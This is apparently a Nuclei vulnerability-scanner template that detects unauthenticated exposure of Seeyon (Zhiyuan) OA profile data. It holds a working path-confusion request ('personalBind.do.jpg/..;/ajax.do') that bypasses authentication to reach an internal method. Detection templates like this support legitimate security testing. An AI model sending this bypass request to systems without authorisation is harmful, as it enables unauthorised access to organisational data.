id: zhiyuan-oa-unauthorized

info:
  name: Zhiyuan Oa Unauthorized
  author: pikpikcu
  severity: low
  description: Zhiyuan Oa is exposed.
  reference:
    - https://buaq.net/go-53721.html
  metadata:
    max-request: 1
  tags: seeyon,unauth,zhiyuan,misconfig,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/seeyon/personalBind.do.jpg/..;/ajax.do?method=ajaxAction&managerName=mMOneProfileManager&managerMethod=getOAProfile"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "serverIdentifier"
          - "companyName"
        condition: and

      - type: word
        words:
          - "application/json"
        part: header

      - type: status
        status:
          - 200
# digest: 490a00463044022036a6a28921ec8a8ca6c57bad2948febb6d8a2ebc26bd8171e61412109806b6c5022040762dc05dae9a4e59a5638b1260e2e95ce92a5306993fc7393926cb61e71529:922c64590222798bb761d5b6d8e72950